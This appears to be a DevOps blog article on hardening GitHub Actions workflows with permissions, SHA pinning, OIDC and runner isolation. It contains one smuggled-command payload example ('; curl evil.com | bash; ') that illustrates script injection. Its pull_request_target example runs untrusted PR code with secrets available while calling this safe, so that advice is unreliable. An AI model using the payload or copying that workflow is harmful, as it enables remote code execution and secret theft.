DevOpsil
CI/CD
94%
Fresh
Part 6 of 6 in Security Hardening

Hardening GitHub Actions: Permissions, OIDC, and Pinned Actions

Sarah ChenSarah Chen8 min read

The Hardened Workflow First

Here's a production-grade workflow with every security control applied. Then I'll explain why each line matters.

name: Secure Build and Deploy

on:
  push:
    branches: [main]

permissions:
  contents: read
  id-token: write
  packages: write

jobs:
  build:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

      - uses: docker/setup-buildx-action@f95db51fddba0c2d1ec667646a06c2ce06100226 # v3.0.0

      - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
        with:
          role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
          aws-region: us-east-1

      - uses: docker/login-action@343f7c4344506bcbf9b4de18042ae17996df046d # v3.0.0
        with:
          registry: ghcr.io
          username: ${{ github.actor }}
          password: ${{ secrets.GITHUB_TOKEN }}

      - uses: docker/build-push-action@4a13e500e55cf31b7a5d59a38ab2040ab0f42f56 # v5.1.0
        with:
          context: .
          push: true
          tags: ghcr.io/${{ github.repository }}:${{ github.sha }}
          provenance: true
          sbom: true

Every action is SHA-pinned. Permissions are minimal. Cloud auth uses OIDC. No long-lived secrets.

Why This Matters

GitHub Actions is the most popular CI/CD platform. It's also the largest attack surface in most organizations. A compromised action can:

  • Exfiltrate secrets from your workflow environment
  • Modify your code during the build process
  • Push malicious artifacts to your registries
  • Access cloud resources through leaked credentials

The defaults are permissive. You have to opt in to security.

Least-Privilege Permissions

The Problem with Defaults

By default, GITHUB_TOKEN has write access to nearly everything in your repository. That's too much.

Lock It Down

# Top-level: restrict ALL jobs
permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    # This job inherits read-only contents
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

  deploy:
    runs-on: ubuntu-latest
    # This job needs more — declare per-job permissions
    permissions:
      contents: read
      id-token: write
      packages: write
    steps:
      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11

Set restrictive permissions at the top level. Expand per-job only where needed. Any permission not listed is set to none.

Common Permission Sets

# Read-only CI (lint, test)
permissions:
  contents: read

# Container build and push to GHCR
permissions:
  contents: read
  packages: write

# Cloud deployment with OIDC
permissions:
  contents: read
  id-token: write

# PR comment bot
permissions:
  contents: read
  pull-requests: write

Start with contents: read and add only what fails without it.

SHA-Pinned Actions

Tags Are Mutable

# DANGEROUS: Tag can be moved to point to any commit
- uses: some-org/some-action@v1

# SAFE: SHA is immutable
- uses: some-org/some-action@a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2 # v1.2.3

When you reference @v1, you trust the maintainer to never move that tag. Tags are Git refs. They can be overwritten. A compromised maintainer account moves v1 to a malicious commit, and your pipeline runs it.

SHA pinning eliminates this risk. The comment after # documents the version for humans.

Automating SHA Pins

# Install pinact
go install github.com/suzuki-shunsuke/pinact/cmd/pinact@latest

# Pin all actions in a workflow
pinact run

# Or use Renovate / Dependabot to manage updates

Dependabot configuration for automatic SHA updates:

# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly
    groups:
      actions:
        patterns:
          - "*"

Dependabot creates PRs when pinned actions have new releases. You get updates without losing the SHA pin.

OIDC Federation: Kill the Long-Lived Secrets

The Old Way (Don't Do This)

# AVOID: Static credentials stored as GitHub secrets
- uses: aws-actions/configure-aws-credentials@v4
  with:
    aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
    aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

Static keys don't expire. They can be exfiltrated. They're hard to rotate across dozens of repos.

The OIDC Way

# BETTER: Short-lived token via OIDC federation
permissions:
  id-token: write

steps:
  - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502
    with:
      role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
      aws-region: us-east-1

GitHub mints a JWT. AWS validates it and returns a temporary credential that expires in 1 hour. No secrets to store, rotate, or leak.

AWS Trust Policy for OIDC

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "token.actions.githubusercontent.com:sub": "repo:your-org/your-repo:ref:refs/heads/main"
        }
      }
    }
  ]
}

The sub condition is critical. Without it, ANY GitHub Actions workflow in ANY repo can assume your role. Lock it to specific repos and branches.

Environment Protection Rules

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production

Configure the production environment in GitHub with:

  • Required reviewers — a human approves before deploy
  • Wait timer — automatic delay for cooldown
  • Branch restrictions — only main can deploy to production
  • Deployment secrets — secrets scoped to this environment only

Environment secrets are only exposed to jobs targeting that environment. A PR from a fork cannot access production secrets.

Audit Your Workflows

Run this to find unsafe patterns in your workflows:

# Find unpinned actions
grep -rn 'uses:.*@v[0-9]' .github/workflows/

# Find workflows with no permissions block
for f in .github/workflows/*.yml; do
  grep -q 'permissions:' "$f" || echo "MISSING PERMISSIONS: $f"
done

# Find static cloud credentials
grep -rn 'aws-access-key-id\|aws-secret-access-key' .github/workflows/

If any of these return results, you have work to do.

Fork PR Safety

Public repositories face an additional threat: malicious fork PRs that attempt to exfiltrate secrets.

Script Injection Prevention

# DANGEROUS: PR title is user-controlled input
- run: echo "Processing ${{ github.event.pull_request.title }}"

# SAFE: Use environment variable
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Processing $PR_TITLE"

The first example allows a PR titled "; curl evil.com | bash; " to execute arbitrary commands. The second passes the title as an environment variable, preventing injection.

Audit your workflows for these patterns:

# Find potential script injection vulnerabilities
grep -rn 'github\.event\.' .github/workflows/ | grep -v 'env:'

Any ${{ github.event.* }} expression used directly in a run step is a potential injection point.

Restrict Fork Access

Use pull_request_target only when you need secrets for fork PRs (like posting comments). Always checkout the PR head explicitly:

on:
  pull_request_target:
    branches: [main]

jobs:
  safe-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
          persist-credentials: false
      - run: npm ci && npm test

Supply Chain Security: Provenance and SBOM

Build provenance creates a cryptographic record of how your artifacts were built. SBOM lists every dependency.

      - uses: docker/build-push-action@v6
        with:
          context: .
          push: true
          tags: ghcr.io/${{ github.repository }}:${{ github.sha }}
          provenance: true
          sbom: true

Consumers can verify your image was built from a specific commit:

cosign verify-attestation \
  --type slsa-provenance \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com \
  ghcr.io/your-org/your-image:v1.0.0

Self-Hosted Runner Hardening

If you use self-hosted runners, the attack surface expands significantly.

jobs:
  build:
    runs-on: [self-hosted, linux, x64]
    container:
      image: node:20-slim

Key hardening steps:

  • Ephemeral runners only. Use --ephemeral flag so the runner is destroyed after each job. Persistent runners accumulate state between jobs.
  • Network isolation. Runners should only access the registries and APIs they need. Block outbound traffic by default.
  • No shared runners across trust boundaries. A runner that handles both public forks and private production deployments is a vulnerability.
  • Run in containers. Use the container key to isolate the job from the host, limiting what a compromised job can access.
./config.sh --url https://github.com/your-org \
  --token YOUR_TOKEN \
  --ephemeral \
  --labels "production,linux,x64"

Actions Runner Controller for Kubernetes

For Kubernetes-based self-hosted runners, use the Actions Runner Controller (ARC):

apiVersion: actions.summerwind.dev/v1alpha1
kind: RunnerDeployment
metadata:
  name: ci-runners
spec:
  replicas: 3
  template:
    spec:
      repository: your-org/your-repo
      ephemeral: true
      dockerEnabled: false
      resources:
        limits:
          cpu: "2"
          memory: 4Gi

Kubernetes-managed runners scale automatically, clean up after each job, and integrate with your existing cluster security policies.

Hardening Checklist

ControlPriorityEffort
Set top-level permissions: contents: readCritical5 min
SHA-pin all third-party actionsCritical30 min
Enable Dependabot for actionsHigh5 min
Replace static cloud creds with OIDCHigh1 hour
Use environment protection rulesHigh15 min
Restrict GITHUB_TOKEN per jobMedium10 min
Enable build provenance and SBOMMedium5 min
Audit for script injectionMedium30 min
Use ephemeral self-hosted runnersMedium1 hour
Set up fork PR restrictionsHigh15 min

Conclusion

Default GitHub Actions security is insufficient. Set permissions explicitly, pin actions to SHAs, replace static secrets with OIDC, and use environments for deployment gating. Prevent script injection by routing user input through environment variables. Enable provenance and SBOM for supply chain transparency. If you use self-hosted runners, make them ephemeral. These aren't optional hardening steps — they're the baseline. A compromised CI pipeline is a compromised production environment. Treat your workflows like production code, because they are.

Share:
Sarah Chen
Sarah Chen

CI/CD Engineering Lead

Automation evangelist who believes no deployment should require a human. I write pipelines, break pipelines, and write about both. Code-first, always.

Related Articles